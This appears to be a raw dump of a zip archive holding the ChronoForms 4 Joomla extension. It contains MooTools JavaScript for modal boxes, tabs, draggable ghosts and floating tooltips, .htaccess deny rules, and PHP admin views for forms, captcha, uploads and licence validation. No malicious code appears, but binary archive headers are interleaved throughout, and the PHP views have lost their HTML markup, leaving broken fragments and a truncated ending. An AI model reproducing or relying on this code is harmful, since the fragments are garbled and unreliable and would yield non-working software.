Fx.Tween(this.overlay, $merge({ property: 'opacity', onStart: Events.prototype.clearChain, duration: 250, link: 'cancel' }, this.options.overlayFx)).set(0), win: new Fx.Morph(this.win, $merge({ onStart: Events.prototype.clearChain, unit: 'px', duration: 750, transition: Fx.Transitions.Quint.easeOut, link: 'cancel', unit: 'px' }, this.options.resizeFx)), content: new Fx.Tween(this.content, $merge({ property: 'opacity', duration: 250, link: 'cancel' }, this.options.contentFx)).set(0) }; $(this.doc.body).adopt(this.overlay, this.win); }, assign: function(to, options) { return ($(to) || $$(to)).addEvent('click', function() { return !SqueezeBox.fromElement(this, options); }); }, open: function(subject, options) { this.initialize(); if (this.element != null) this.trash(); this.element = $(subject) || false; this.setOptions($merge(this.presets, options || {})); if (this.element && this.options.parse) { var obj = this.element.getProperty(this.options.parse); if (obj && (obj = JSON.decode(obj, this.options.parseSecure))) this.setOptions(obj); } this.url = ((this.element) ? (this.element.get('href')) : subject) || this.options.url || ''; this.assignOptions(); var handler = handler || this.options.handler; if (handler) return this.setContent(handler, this.parsers[handler].call(this, true)); var ret = false; return this.parsers.some(function(parser, key) { var content = parser.call(this); if (content) { ret = this.setContent(key, content); return true; } return false; }, this); }, fromElement: function(from, options) { return this.open(from, options); }, assignOptions: function() { this.overlay.set('class', this.options.classOverlay); this.win.set('class', this.options.classWindow); if (Browser.Engine.trident4) this.win.addClass('sbox-window-ie6'); }, close: function(e) { var stoppable = ($type(e) == 'event'); if (stoppable) e.stop(); if (!this.isOpen || (stoppable && !$lambda(this.options.closable).call(this, e))) return this; this.fx.overlay.start(0).chain(this.toggleOverlay.bind(this)); this.win.setStyle('display', 'none'); this.fireEvent('onClose', [this.content]); this.trash(); this.toggleListeners(); this.isOpen = false; return this; }, trash: function() { this.element = this.asset = null; this.content.empty(); this.options = {}; //hack for (type in this.$events){ var fns = this.$events[type]; for (var i = fns.length; i--;){ if($chk(fns[i])) this.removeEvent(type, fns[i]); } } this.setOptions(this.presets).callChain(); //end hack //this.removeEvents().setOptions(this.presets).callChain(); }, onError: function() { this.asset = null; this.setContent('string', this.options.errorMsg || 'An error occurred'); }, setContent: function(handler, content) { if (!this.handlers[handler]) return false; this.content.className = 'sbox-content-' + handler; this.applyTimer = this.applyContent.delay(this.fx.overlay.options.duration, this, this.handlers[handler].call(this, content)); if (this.overlay.retrieve('opacity')) return this; this.toggleOverlay(true); this.fx.overlay.start(this.options.overlayOpacity); return this.reposition(); }, applyContent: function(content, size) { if (!this.isOpen && !this.applyTimer) return; this.applyTimer = $clear(this.applyTimer); this.hideContent(); if (!content) { this.toggleLoading(true); } else { if (this.isLoading) this.toggleLoading(false); this.fireEvent('onUpdate', [this.content], 20); } if (content) { if (['string', 'array'].contains($type(content))) this.content.set('html', content); else if (!this.content.hasChild(content)) this.content.adopt(content); } this.callChain(); if (!this.isOpen) { this.toggleListeners(true); this.resize(size, true); this.isOpen = true; this.fireEvent('onOpen', [this.content]); } else { this.resize(size); } }, resize: function(size, instantly) { this.showTimer = $clear(this.showTimer || null); var box = this.doc.getSize(), scroll = this.doc.getScroll(); this.size = $merge((this.isLoading) ? this.options.sizeLoading : this.options.size, size); var to = { width: this.size.x, height: this.size.y, left: (scroll.x + (box.x - this.size.x - this.options.marginInner.x) / 2).toInt(), top: (scroll.y + (box.y - this.size.y - this.options.marginInner.y) / 2).toInt() }; this.hideContent(); if (!instantly) { this.fx.win.start(to).chain(this.showContent.bind(this)); } else { this.win.setStyles(to).setStyle('display', ''); this.showTimer = this.showContent.delay(50, this); } return this.reposition(); }, toggleListeners: function(state) { var fn = (state) ? 'addEvent' : 'removeEvent'; this.closeBtn[fn]('click', this.bound.close); //this.overlay[fn]('click', this.bound.close);//hack this.doc[fn]('keydown', this.bound.key)[fn]('mousewheel', this.bound.scroll); this.doc.getWindow()[fn]('resize', this.bound.window)[fn]('scroll', this.bound.window); }, toggleLoading: function(state) { this.isLoading = state; this.win[(state) ? 'addClass' : 'removeClass']('sbox-loading'); if (state) this.fireEvent('onLoading', [this.win]); }, toggleOverlay: function(state) { var full = this.doc.getSize().x; this.overlay.setStyle('display', (state) ? '' : 'none'); this.doc.body[(state) ? 'addClass' : 'removeClass']('body-overlayed'); if (state) { this.scrollOffset = this.doc.getWindow().getSize().x - full; this.doc.body.setStyle('margin-right', this.scrollOffset); } else { this.doc.body.setStyle('margin-right', ''); } }, showContent: function() { if (this.content.get('opacity')) this.fireEvent('onShow', [this.win]); this.fx.content.start(1); }, hideContent: function() { if (!this.content.get('opacity')) this.fireEvent('onHide', [this.win]); this.fx.content.cancel().set(0); }, onKey: function(e) { switch (e.key) { case 'esc': this.close(e); //case 'up': case 'down': return false; } }, checkTarget: function(e) { return this.content.hasChild(e.target); }, reposition: function() { var size = this.doc.getSize(), scroll = this.doc.getScroll(), ssize = this.doc.getScrollSize(); this.overlay.setStyles({ width: ssize.x + 'px', height: ssize.y + 'px' }); this.win.setStyles({ left: (scroll.x + (size.x - this.win.offsetWidth) / 2 - this.scrollOffset).toInt() + 'px', top: (scroll.y + (size.y - this.win.offsetHeight) / 2).toInt() + 'px' }); return this.fireEvent('onMove', [this.overlay, this.win]); }, removeEvents: function(type){ if (!this.$events) return this; if (!type) this.$events = null; else if (this.$events[type]) this.$events[type] = null; return this; }, extend: function(properties) { return $extend(this, properties); }, handlers: new Hash(), parsers: new Hash() }; SqueezeBox.extend(new Events($empty)).extend(new Options($empty)).extend(new Chain($empty)); SqueezeBox.parsers.extend({ image: function(preset) { return (preset || (/\.(?:jpg|png|gif)$/i).test(this.url)) ? this.url : false; }, clone: function(preset) { if ($(this.options.target)) return $(this.options.target); if (this.element && !this.element.parentNode) return this.element; var bits = this.url.match(/#([\w-]+)$/); return (bits) ? $(bits[1]) : (preset ? this.element : false); }, ajax: function(preset) { return (preset || (this.url && !(/^(?:javascript|#)/i).test(this.url))) ? this.url : false; }, iframe: function(preset) { return (preset || this.url) ? this.url : false; }, string: function(preset) { return true; } }); SqueezeBox.handlers.extend({ image: function(url) { var size, tmp = new Image(); this.asset = null; tmp.onload = tmp.onabort = tmp.onerror = (function() { tmp.onload = tmp.onabort = tmp.onerror = null; if (!tmp.width) { this.onError.delay(10, this); return; } var box = this.doc.getSize(); box.x -= this.options.marginImage.x; box.y -= this.options.marginImage.y; size = {x: tmp.width, y: tmp.height}; for (var i = 2; i--;) { if (size.x > box.x) { size.y *= box.x / size.x; size.x = box.x; } else if (size.y > box.y) { size.x *= box.y / size.y; size.y = box.y; } } size.x = size.x.toInt(); size.y = size.y.toInt(); this.asset = $(tmp); tmp = null; this.asset.width = size.x; this.asset.height = size.y; this.applyContent(this.asset, size); }).bind(this); tmp.src = url; if (tmp && tmp.onload && tmp.complete) tmp.onload(); return (this.asset) ? [this.asset, size] : null; }, clone: function(el) { if (el) return el.clone(); return this.onError(); }, adopt: function(el) { if (el) return el; return this.onError(); }, ajax: function(url) { var options = this.options.ajaxOptions || {}; this.asset = new Request.HTML($merge({ method: 'get', evalScripts: false }, this.options.ajaxOptions)).addEvents({ onSuccess: function(resp) { this.applyContent(resp); if (options.evalScripts !== null && !options.evalScripts) $exec(this.asset.response.javascript); this.fireEvent('onAjax', [resp, this.asset]); this.asset = null; }.bind(this), onFailure: this.onError.bind(this) }); this.asset.send.delay(10, this.asset, [{url: url}]); }, iframe: function(url) { this.asset = new Element('iframe', $merge({ src: url, frameBorder: 0, width: this.options.size.x, height: this.options.size.y }, this.options.iframeOptions)); if (this.options.iframePreload) { this.asset.addEvent('load', function() { this.applyContent(this.asset.setStyle('display', '')); }.bind(this)); this.asset.setStyle('display', 'none').inject(this.content); return false; } return this.asset; }, string: function(str) { return str; } }); SqueezeBox.handlers.url = SqueezeBox.handlers.ajax; SqueezeBox.parsers.url = SqueezeBox.parsers.ajax; SqueezeBox.parsers.adopt = SqueezeBox.parsers.clone;PKs>\com_chronoforms/js/index.htmlnuW+APKs>\j$Y,,com_chronoforms/js/tabs.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * Visit http://www.ChronoEngine.com for regular updates and information. **/ function switchTab(id){ $(id+'-panel-tab').getParent('ul').getChildren('li').each(function(tab){ tab.set('class', ''); $(tab.get('id').replace(/-panel-tab/, '-panel')).setStyle('display', 'none'); }); $(id+'-panel-tab').set('class', 'activetab'); $(id+'-panel').setStyle('display', 'block'); return false; }PKs>\uzxx com_chronoforms/js/drag.ghost.jsnuW+A/** * drag.ghost.js - Ghosting draggable extension for Drag.Move * @version 1.01 * * by MonkeyPhysics.com * * Source/Documentation available at: * http://www.monkeyphysics.com/mootools/script/1/dragghost * * Some Rights Reserved * http://creativecommons.org/licenses/by-sa/3.0/ * */ Drag.Ghost = new Class({ Extends: Drag.Move, options: { opacity: 0.65 }, start: function(event) { this.ghost(); this.parent(event); }, cancel: function(event) { if (event) this.deghost(); this.parent(event); }, stop: function(event) { this.deghost(); this.parent(event); }, ghost: function() { this.element = this.element.clone() .setStyles({ 'opacity': this.options.opacity, 'position': 'absolute', 'top': this.element.getCoordinates()['top'], 'left': this.element.getCoordinates()['left'] }) .inject(document.body) .store('parent', this.element); }, deghost: function() { var e = this.element.retrieve('parent'); this.element.destroy(); this.element = e; } }); Element.implement({ makeGhostDraggable: function(options) { return new Drag.Ghost(this, options); } });PKs>\VQcc"com_chronoforms/js/FloatingTips.jsnuW+A/* --- description: Class for creating floating balloon tips that nicely appears when hovering an element. license: MIT-style authors: - Lorenzo Stanco requires: - core/1.3: '*' provides: [FloatingTips] ... */ var FloatingTips = new Class({ Implements: [Options, Events], options: { position: 'top', fixed: false, center: true, content: 'title', html: false, balloon: true, arrowSize: 6, arrowOffset: 6, distance: 3, motion: 6, motionOnShow: true, motionOnHide: true, showOn: 'mouseenter', hideOn: 'mouseleave', showDelay: 0, hideDelay: 0, className: 'floating-tip', offset: { x: 0, y: 0 }, fx: { 'duration': 'short' } }, initialize: function(elements, options) { this.setOptions(options); var s = this; this.boundShow = (function() { s.show(this); }); this.boundHide = (function() { s.hide(this); }); if (!['top', 'right', 'bottom', 'left', 'inside'].contains(this.options.position)) this.options.position = 'top'; if (elements) this.attach(elements); return this; }, attach: function(elements) { var s = this; $$(elements).each(function(e) { if (e.retrieve('floatingtip_hasevents')) { return; } evs = { }; evs[s.options.showOn] = s.boundShow; evs[s.options.hideOn] = s.boundHide; e.addEvents(evs); e.store('floatingtip_hasevents', true); e.store('floatingtip_object', s); }); return this; }, detach: function(elements) { var s = this; var evs = { }; evs[this.options.showOn] = this.boundShow; evs[this.options.hideOn] = this.boundHide; $$(elements).each(function(e) { s.hide(e); e.removeEvents(evs); e.eliminate('floatingtip_hasevents'); e.eliminate('floatingtip_object'); }); return this; }, show: function(element) { var old = element.retrieve('floatingtip'); if (old) if (old.getStyle('opacity') == 1) { clearTimeout(old.retrieve('timeout')); return this; } var tip = this._create(element); if (tip == null) return this; element.store('floatingtip', tip); this._animate(tip, 'in'); element.store('floatingtip_visible', true); this.fireEvent('show', [tip, element]); return this; }, hide: function(element) { var tip = element.retrieve('floatingtip'); if (!tip) return this; this._animate(tip, 'out'); element.store('floatingtip_visible', false); this.fireEvent('hide', [tip, element]); return this; }, toggle: function(element) { if (element.retrieve('floatingtip_visible')) return this.hide(element); else return this.show(element); }, _create: function(elem) { var o = this.options; var oc = o.content; var opos = o.position; if (oc == 'title') { oc = 'floatingtitle'; if (!elem.get('floatingtitle')) elem.setProperty('floatingtitle', elem.get('title')); elem.set('title', ''); } var cnt = (typeof(oc) == 'string' ? elem.get(oc) : oc(elem)); var cwr = new Element('div').addClass(o.className).setStyle('margin', 0); var tip = new Element('div').addClass(o.className + '-wrapper').setStyles({ 'margin': 0, 'padding': 0, 'z-index': cwr.getStyle('z-index') }).adopt(cwr); if (cnt) { if (o.html) { if (o.html_adopt) cwr.adopt(cnt); else cwr.set('html', typeof(cnt) == 'string' ? cnt : cnt.get('html')); } else { cwr.set('text', cnt); } } else { return null; } var body = document.id(document.body); tip.setStyles({ 'position': (o.fixed ? 'fixed' : 'absolute'), 'opacity': 0, 'top': 0, 'left': 0 }).inject(body); if (o.balloon && !Browser.ie6) { var trg = new Element('div').addClass(o.className + '-triangle').setStyles({ 'margin': 0, 'padding': 0 }); var trgSt = { 'border-color': cwr.getStyle('background-color'), 'border-width': o.arrowSize, 'border-style': 'solid','width': 0, 'height': 0 }; switch (opos) { case 'inside': case 'top' : trgSt['border-bottom-width'] = 0; break; case 'right' : trgSt['border-left-width' ] = 0; trgSt['float'] = 'left'; cwr.setStyle('margin-left', o.arrowSize); break; case 'bottom': trgSt['border-top-width' ] = 0; break; case 'left' : trgSt['border-right-width' ] = 0; if (Browser.ie7) { trgSt['position'] = 'absolute'; trgSt['right'] = 0; } else { trgSt['float'] = 'right'; } cwr.setStyle('margin-right', o.arrowSize); break; } switch (opos) { case 'inside': case 'top': case 'bottom': trgSt['border-left-color'] = trgSt['border-right-color'] = 'transparent'; trgSt['margin-left'] = o.center ? tip.getSize().x / 2 - o.arrowSize : o.arrowOffset; break; case 'left': case 'right': trgSt['border-top-color'] = trgSt['border-bottom-color'] = 'transparent'; trgSt['margin-top'] = o.center ? tip.getSize().y / 2 - o.arrowSize : o.arrowOffset; break; } trg.setStyles(trgSt).inject(tip, (opos == 'top' || opos == 'inside') ? 'bottom' : 'top'); } var tipSz = tip.getSize(), trgC = elem.getCoordinates(); var offsetOption = ('function' === typeof(o.offset) ? Object.merge({ x: 0, y: 0 }, o.offset(elem)) : o.offset); var pos = { x: trgC.left + offsetOption.x, y: trgC.top + offsetOption.y }; if (opos == 'inside') { tip.setStyles({ 'width': tip.getStyle('width'), 'height': tip.getStyle('height') }); elem.setStyle('position', 'relative').adopt(tip); pos = { x: o.offset.x, y: o.offset.y }; } else { switch (opos) { case 'top' : pos.y -= tipSz.y + o.distance; break; case 'right' : pos.x += trgC.width + o.distance; break; case 'bottom': pos.y += trgC.height + o.distance; break; case 'left' : pos.x -= tipSz.x + o.distance; break; } } if (o.center) { switch (opos) { case 'top' : case 'bottom': pos.x += (trgC.width / 2 - tipSz.x / 2); break; case 'left': case 'right' : pos.y += (trgC.height / 2 - tipSz.y / 2); break; case 'inside': pos.x += (trgC.width / 2 - tipSz.x / 2); pos.y += (trgC.height / 2 - tipSz.y / 2); break; } } tip.set('morph', o.fx).store('position', pos); tip.setStyles({ 'top': pos.y, 'left': pos.x }); return tip; }, _animate: function(tip, d) { clearTimeout(tip.retrieve('timeout')); tip.store('timeout', (function(t) { var o = this.options, din = (d == 'in'); var m = { 'opacity': din ? 1 : 0 }; if ((o.motionOnShow && din) || (o.motionOnHide && !din)) { var pos = t.retrieve('position'); if (!pos) return; switch (o.position) { case 'inside': case 'top' : m['top'] = din ? [pos.y - o.motion, pos.y] : pos.y - o.motion; break; case 'right' : m['left'] = din ? [pos.x + o.motion, pos.x] : pos.x + o.motion; break; case 'bottom': m['top'] = din ? [pos.y + o.motion, pos.y] : pos.y + o.motion; break; case 'left' : m['left'] = din ? [pos.x - o.motion, pos.x] : pos.x - o.motion; break; } } t.morph(m); if (!din) t.get('morph').chain(function() { this.dispose(); }.bind(t)); }).delay((d == 'in') ? this.options.showDelay : this.options.hideDelay, this, tip)); return this; } }); Elements.implement({ floatingTips: function(options) { new FloatingTips(this, options); return this; } }); Element.implement({ floatingTips: function(options) { new FloatingTips($$(this), options); return this; }, floatingTipsShow: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.show(this); return this; }, floatingTipsHide: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.hide(this); return this; }, floatingTipsToggle: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.toggle(this); return this; } }); Element.Properties.floatingTips = { get: function(){ return this.retrieve('floatingtip_object'); } }; PKs>\񃕗)com_chronoforms/js/FloatingTips.Dialog.jsnuW+A/* --- description: Creates balloon dialogs with action buttons when clicking an element license: MIT-style authors: - Lorenzo Stanco requires: - core/1.3: '*' provides: [FloatingTips.Dialog] ... */ FloatingTips.Dialog = new Class({ Extends: FloatingTips, options: { showOn: 'click', hideOn: 'never', buttons: { }, buttonsClassName: '' }, initialize: function(element, text, options) { // Setup options this.setOptions(options); // Store element reference this.element = $(element); // Create buttons var s = this; var buttonsIndex = 0; var buttonsWrapper = new Element('p'); Object.each(this.options.buttons, function(buttonCallback, buttonCaption) { var button = new Element('button', { type: 'button' }); if (s.options.buttonsClassName) button.addClass(s.options.buttonsClassName); button.addClass(s.options.className + '-button' + ++buttonsIndex); button.set('text', buttonCaption).addEvent('click', buttonCallback.pass([ s.element, button, s ], s)); buttonsWrapper.adopt(button); }); // Create tip content var contentText = new Element('p', { 'text': text }); var content = new Element('div').adopt(contentText, buttonsWrapper); this.options.content = function() { return content; }; this.options.html = true; this.options.html_adopt = true; // Call FloatingTips constructor this.parent([this.element]); }, popup: function() { this.show(this.element); }, dismiss: function() { this.hide(this.element); } });PKs>\0o''!com_chronoforms/js/wizard_tips.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * Visit http://www.ChronoEngine.com for regular updates and information. **/ window.addEvent('domready', function(){ new FloatingTips('div.dragable', { content: function(e){ if($chk($(e.get('id')+'_main_tooltip'))){ return $(e.get('id')+'_main_tooltip'); } if($chk($(e.get('id')+'_tooltip'))){ return $(e.get('id')+'_tooltip'); } }, position: 'right', distance: 7, html: true, }); new FloatingTips('a.toggler', { content: function(){return "Click to expand";}, position: 'right', distance: 7, html: true, }); var delete_icon_tip = new FloatingTips('img.delete_element', {}); var edit_icon_tip = new FloatingTips('img.edit_element', {}); var sort_icon_tip = new FloatingTips('img.sort_element', {}); new FloatingTips('img.add_event', { content: function(){ return $('add_event_tooltip'); }, html: true, }); });PKs>\)com_chronoforms/js/.htaccessnuW+A Order allow,deny Deny from all PKs>\?{ { %com_chronoforms/admin.chronoforms.phpnuW+ARELEASE.DS."admin.chronoforms.php"); ?> '; print_r($array); echo ''; } ?>PKs>\  )com_chronoforms/uninstall.chronoforms.phpnuW+APKs>\)com_chronoforms/.htaccessnuW+A Order allow,deny Deny from all PKs>\u=Qff'com_chronoforms/install.chronoforms.phpnuW+A
      ChronoForms

      INTRODUCTION

      I always needed to create custom forms for my clients websites, Or to migrate their old websites forms fast and easy to new Joomla websites forms, this was pain, as I was using other components for doing this, and I had to create everything from scratch at webbased tools.

      ChronoForms, was going to be just a contact forms component, but I have used it to create different forms using advanced techniques and PHP code , so I decided to make it a complete forms extension, I wish you will find it usefull, any feedback is very appreciated.

      For regular updates and informations on ChronoForms, please visit www.chronoengine.com.

      COPYRIGHT INFORMATION

      ChronoForms includes or is derivative of works distributed under the following copyright notices:

      Copyright (c) 2006 - 2012 Chrono_Man, ChronoEngine.com. All rights reserved.

      DISCLAIMER

      THIS PROGRAM IS DISTRIBUTED "AS IS". NO WARRANTY OF ANY KIND IS EXPRESSED OR IMPLIED. YOU USE AT YOUR OWN RISK. I WILL NOT BE LIABLE FOR DATA LOSS, DAMAGES, HACKING, SPAMMING, LOSS OF PROFITS OR ANY OTHER KIND OF LOSS WHILE USING OR MISUSING THIS SOFTWARE.

      '; } ?>PKs>\ <<4com_chronoforms/views/easy_wizard_thanks_message.phpnuW+A startPane('thanks_message'); ?> startPanel('Your thanks message', 'thanks_message_'.$i); ?> input('chronoaction['.$i.'][action_show_thanks_message_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Message body", 'class' => 'mce_editor', 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> input('chronoaction['.$i.'][action_show_thanks_message_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'show_thanks_message')); ?> endPanel(); ?> endPane(); ?>PKs>\Ԓm@@#com_chronoforms/views/show_data.phpnuW+A
      $field_data): ?>
      Field title Field value
      $table_field); ?>
      PKs>\}~#com_chronoforms/views/list_data.phpnuW+A $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } ?>

      Listing data records for table:

      This table has no primary keys and its records can't be viewed!

      load($_POST['form_id']); $params = new JParameter($row->params); $dataview_actions = $params->get('dataview_actions', ''); if(strlen(trim($params->get('dataview_fields_'.$table_name, ''))) > 0){ $extra_table_fields = explode(",", $params->get('dataview_fields_'.$table_name, '')); } if(!empty($dataview_actions)){ $dataview_actions = explode(",", $dataview_actions); foreach($dataview_actions as $dataview_action){ $action_pieces = explode(":", $dataview_action); $extra_dataview_actions[$action_pieces[0]] = $action_pieces[1]; } } } ?>
      $action_title): ?> $action_title): ?>
      # ID Record
      $primary; ?> Record #limitstart; ?> $table_field; ?> #limitstart; ?>
      getListFooter(); ?>
      PKs>\ com_chronoforms/views/index.htmlnuW+APKs>\)com_chronoforms/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\֐-com_chronoforms/views/easy_wizard_captcha.phpnuW+A startPane('captcha'); ?> startPanel('Captcha Settings', 'captcha_'.$i); ?> input('chronoaction['.$i.'][action_check_captcha_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "You must have a 'Captcha input' under the preview tab in order for this to work.")); ?> input('chronoaction['.$i.'][action_check_captcha_'.$i.'_error]', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'check_captcha')); ?> input('chronoaction['.$i.'][action_load_captcha_'.$i.'_fonts]', array('type' => 'select', 'label' => "Use True Type Fonts", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'True type fonts is better looking but it depends on the GD library config at your server, most users can enable this safely.')); ?> input('chronoaction['.$i.'][action_load_captcha_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_captcha')); ?> endPanel(); ?> endPane(); ?> PKs>\~zc(com_chronoforms/views/install_action.phpnuW+A
      Choose your .zip action installer file:  
      PKs>\CLTP2com_chronoforms/views/easy_wizard_upload_files.phpnuW+A startPane('upload_files'); ?> startPanel('Uploads Settings', 'upload_files_'.$i); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_files]', array('type' => 'text', 'label' => "Files", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Config string, e.g: field1:jpg-png-gif,field2:zip-rar,field3:doc-docx-pdf')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_max_size]', array('type' => 'text', 'label' => "Max Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_min_size]', array('type' => 'text', 'label' => "Min Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_max_error]', array('type' => 'text', 'label' => "Max Size Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_min_error]', array('type' => 'text', 'label' => "Min Size Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction['.$i.'][action_upload_files_'.$i.'_type_error]', array('type' => 'text', 'label' => "File type Error", 'class' => 'medium_input', 'value' => '')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'upload_files')); ?> endPanel(); ?> endPane(); ?>PKs>\w w )com_chronoforms/views/validatelicense.phpnuW+A root(), $matches); $domain = $matches[2]; ?>
      (.*?)<\/version>/i', $xml_content, $matches); if(isset($matches[1])){ $version = $matches[1]; }else{ $version = 'NOT FOUND!'; } ?>
      Element Value
      Domain
      Subscription
      Validation key get('licensecode', '')){ echo $params->get('licensecode', ''); } ?>
      Instant key
      (Usually not necessary)
      Version
      PKs>\eRo``%com_chronoforms/views/form_wizard.phpnuW+A params); } if(isset($_GET['wizard_mode']) && $_GET['wizard_mode'] == 'easy'){ $wizard_mode = 'easy'; }else if(isset($_GET['wizard_mode']) && $_GET['wizard_mode'] == 'advanced'){ $wizard_mode = 'advanced'; }else if($form && $form_params->get('form_mode', 'advanced') == 'easy'){ $wizard_mode = 'easy'; }else{ $wizard_mode = 'advanced'; } $uri = JFactory::getURI(); $jversion = new JVersion(); ?>
      Header(array('elements' => 'Elements')); }else{ echo $DragTabsHelper->Header(array('elements' => 'Elements', 'actions' => 'Actions')); } ?>
      tabStart('elements'); ?>
      Basic Elements
      $form_element){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$form_element.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_'.$form_element); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; if(isset($elementclass->advanced) && $elementclass->advanced === true){ $adv_elements[] = $form_element; } } } ?> $form_element): ?> load(true); }else{ $element_params = array(); } if(!empty($element_params)){ $element_params = $element_params['element_params']; } if(isset($elementclass->advanced) && $elementclass->advanced === true){ //$adv_elements[] = $form_element; continue; }else{ $counter++; //unset($form_elements[$k]); } ?> = (count($form_elements) - count($adv_elements))/2): $counter = -(count($form_elements) - count($adv_elements)); ?>
      Advanced Elements
      $form_element): ?> load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } ?> = count($adv_elements)/2): $counter = -count($adv_elements); ?>
      Widgets
      $form_widget): ?> load(true); }else{ $element_params = array(); } if(!empty($element_params)){ $element_params = $element_params['element_params']; } $counter++; ?>
      tabEnd(); ?> tabStart('actions'); ?>
      Core Actions
      load(true); if(isset($actionclass->group) && !empty($actionclass->group)){ $actions_groups[$actionclass->group['id']][$form_action] = $action_params; $actions_titles[$actionclass->group['id']] = $actionclass->group['title']; $counter++; //add the details list if(isset($actionclass->details) && !empty($actionclass->details)){ $actions_details[$form_action] = $actionclass->details; }else{ $actions_details[$form_action] = array(); } continue; } }else{ $action_params = array(); } if(!empty($action_params)){ $action_params = $action_params['action_params']; } $counter++; ?> $actions_drag_output): ?> = count($actions_drag_outputs)/2): $set = true; ?>
      $form_actions): ?>
      $action_params): ?> = count($form_actions)/2): $counter = -count($form_actions); ?>
      tabEnd(); ?>
      Header(array('preview' => 'Preview', 'emails' => 'Emails', 'thanks' => 'Thanks Message', 'uploads' => 'Files Uploads', /*'code' => 'Code',*/ 'captcha' => 'Captcha', 'db' => 'Store Data', 'other' => 'Others', 'settings' => 'Form Settings')); }else{ echo $DropTabsHelper->Header(array('preview' => 'Preview', 'events' => 'Events', 'settings' => 'Form Settings', 'legend' => 'Legend')); } ?>
      tabStart('preview'); ?>
      form_type == 1): ?> wizardcode)): ?> '.'wizardcode.'; ?>'); //print_r2($wizardcode); $containers_outputs = array(0 => ''); ?> $formdata_element): ?> load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } foreach($formdata_element as $k => $v){ $element_params[str_replace($field_header.'_', '', $k)] = $v; } $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$form_element.'.ctp'; $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); }elseif(file_exists(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$formdata_element['widget'].DS.'input_'.$formdata_element['widget'].'.php')){ $form_element = $formdata_element['widget']; $field_header = $formdata_element['tag'].'_'.$formdata_element['widget'].'_'.str_replace('field_', '', $formdata_key); require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$form_element.DS.'input_'.$form_element.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_input_'.$form_element); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; $element_params = $elementclass->load(true); }else{ $element_params = array(); } $counter++; if(!empty($element_params)){ $element_params = $element_params['element_params']; } foreach($formdata_element as $k => $v){ $element_params[str_replace($field_header.'_', '', $k)] = $v; } $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_widgets'.DS.$form_element.DS.'input_'.$form_element.'.ctp'; $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); $form_element = $formdata_element['tag'].'_'.$formdata_element['widget']; }else{ continue; } $pattern_input = '/
